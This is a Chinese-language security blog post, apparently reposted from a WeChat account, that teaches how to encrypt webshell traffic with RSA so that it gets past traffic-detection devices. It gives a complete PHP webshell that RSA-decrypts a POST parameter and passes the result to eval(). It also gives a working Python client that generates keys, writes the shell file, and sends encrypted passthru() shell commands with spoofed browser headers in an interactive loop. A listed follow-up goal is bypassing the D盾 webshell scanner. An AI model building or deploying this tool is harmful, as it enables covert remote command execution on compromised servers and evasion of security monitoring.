RSA在webshell中的使用

admin 2020年12月30日08:00:50评论107 views字数 3931阅读13分6秒阅读模式


   本文将简单介绍RSA在webshell中的使用,旨在帮助小白们快速制作自己的流量混淆工具。


关于RSA


援引百度百科对RSA的介绍:


RSA是1977年由罗纳德·李维斯特(Ron Rivest)、阿迪·萨莫尔(Adi Shamir)和伦纳德·阿德曼(Leonard Adleman)一起提出的。当时他们三人都在麻省理工学院工作。RSA就是他们三人姓氏开头字母拼在一起组成的RSA公开密钥密码体制的原理是:根据数论,寻求两个大素数比较简单,而将它们的乘积进行因式分解却极其困难,因此可以将乘积公开作为加密密钥......


RSA在webshell中的使用


具体的原理什么的就不多说了,这也不是专门介绍密码学的文章。我们只需要知道它是一个强加密,有公私匙,可以过流量检测设备就行了。


过程实践



首先使用openssl来进行公私匙的生成:


openssl genrsa -out privkey.pem 2048openssl rsa -in privkey.pem -out publickey.pem -pubout


然后使用M2Crypto进行利用文件进行文本加密:


def pri_encrypt(msg, file_name):    rsa_pri = M2Crypto.RSA.load_key(file_name)    ctxt_pri = rsa_pri.private_encrypt(        msg.encode(), M2Crypto.RSA.pkcs1_padding)    ctxt64_pri = base64.b64encode(ctxt_pri)    return ctxt64_pri


比如对test进行加密:


RSA在webshell中的使用


可以看到字符串已经成功的加密了。接下来就是PHP文件的处理了,一样使用openssl这个库,来操作,缺点就是需要依赖:


<?phpclass Rsa {    private static $PUBLIC_KEY= "MyPubKey";    private static function getPublicKey(){        $publicKey = self::$PUBLIC_KEY;        return openssl_pkey_get_public($publicKey);    }
public static function publicDecrypt($encrypted = ""){ if (!is_string($encrypted)) { return null; } return (openssl_public_decrypt(base64_decode($encrypted), $decrypted, self::getPublicKey())) ? $decrypted : null; }}$cmd=$_POST['MyPass'];$rsa = new Rsa();$publicDecrypt = $rsa->publicDecrypt($cmd);$res=eval($publicDecrypt);


这样我们的主要的文件就算写好了,下面就是编写一个简单的webshell管理工具了,代码如下(代码有点烂,能跑起来在说):


#!/usr/bin/python# coding: utf-8# Author: lengyi@HongHuSEC
import sysimport argparseimport requestsimport base64import M2Cryptoimport osimport io
sys.stdout = io.TextIOWrapper(sys.stdout.buffer,encoding='utf-8')
def creatkey(): return os.system('openssl genrsa -out privkey.pem 2048nopenssl rsa -in privkey.pem -out publickey.pem -puboutn')
def pri_encrypt(msg, file_name): rsa_pri = M2Crypto.RSA.load_key(file_name) ctxt_pri = rsa_pri.private_encrypt(msg.encode(), M2Crypto.RSA.pkcs1_padding) ctxt64_pri = base64.b64encode(ctxt_pri) return ctxt64_pri
def get_args(): arser = argparse.ArgumentParser(prog="SimpleRSA webshell", formatter_class=lambda prog: argparse.HelpFormatter(prog,max_help_position=50), epilog= "Usage:n1、python3 SimpleRSA_shell.py -c filename -p password n2、python3 SimpleRSA_shell.py -u url -p password") arser.add_argument("-c", "--create", nargs='?', help="Create a webshell(default password is pass)") arser.add_argument("-p", "--password", nargs='?',default="pass",help="Set password && Link password",dest='password') arser.add_argument("-u", "--url", nargs='?',help="Set Url") args = arser.parse_args() return args
def createphpshell(shell,pwd, pubkey): with open("demo.php","rb")as f: shelltxt=f.read().decode() shelltxt = shelltxt.replace("MyPass", pwd).replace( 'MyPubKey', pubkey.decode()) with open(shell, "w") as f1: f1.write(shelltxt) print(f"[+]php马存放在{shell},链接密码{pwd}")
def main(): args = get_args() if (len(sys.argv) == 1): print(f"Usage: python3 {sys.argv[0]} -h") exit() elif (len(sys.argv) == 5 and args.create != None): if (os.path.exists("publickey.pem") == False or os.path.exists("privkey.pem") == False): print("[+]正在生成公私钥对...") if (creatkey() == 0): print("[+]生成成功") else: print("[-]失败,请检查权限问题") pubkey_file = './publickey.pem' with open(pubkey_file, 'rb') as f: pubkey = f.read() createphpshell(shell=args.create.strip(), pwd=args.password.strip(), pubkey=pubkey) elif(len(sys.argv) == 5 and args.url.strip()!=None): prikey_file = './privkey.pem' payload = "passthru('123');" while (True): encryptshell = pri_encrypt(payload, prikey_file) data = { args.password.strip(): encryptshell } headers = { "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3", "Accept-Encoding": "gzip, deflate, br", "Accept-Language": "zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7", "Connection": "keep-alive", "Referer": "https://www.google.com.hk/", "User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.86 Safari/537.36", } print(requests.post(args.url.strip(), data=data, headers=headers).text.strip()) payload = input(">") if payload == "exit": sys.exit() else: payload = f"passthru('{payload}');" else: exit()

if __name__ == '__main__': main()


demo效果:


RSA在webshell中的使用


可以创建马、与进行webshell的连接。


效果


使用工具执行命令,发现可以成功的接收返回的结果:


RSA在webshell中的使用


流量如下:


RSA在webshell中的使用


TODO:


双向流量加密

命令执行bypassD盾


     ▼
更多精彩推荐,请关注我们

RSA在webshell中的使用



本文始发于微信公众号(鸿鹄实验室):RSA在webshell中的使用

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2020年12月30日08:00:50
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   RSA在webshell中的使用http://cn-sec.com/archives/226956.html

发表评论

匿名网友 填写信息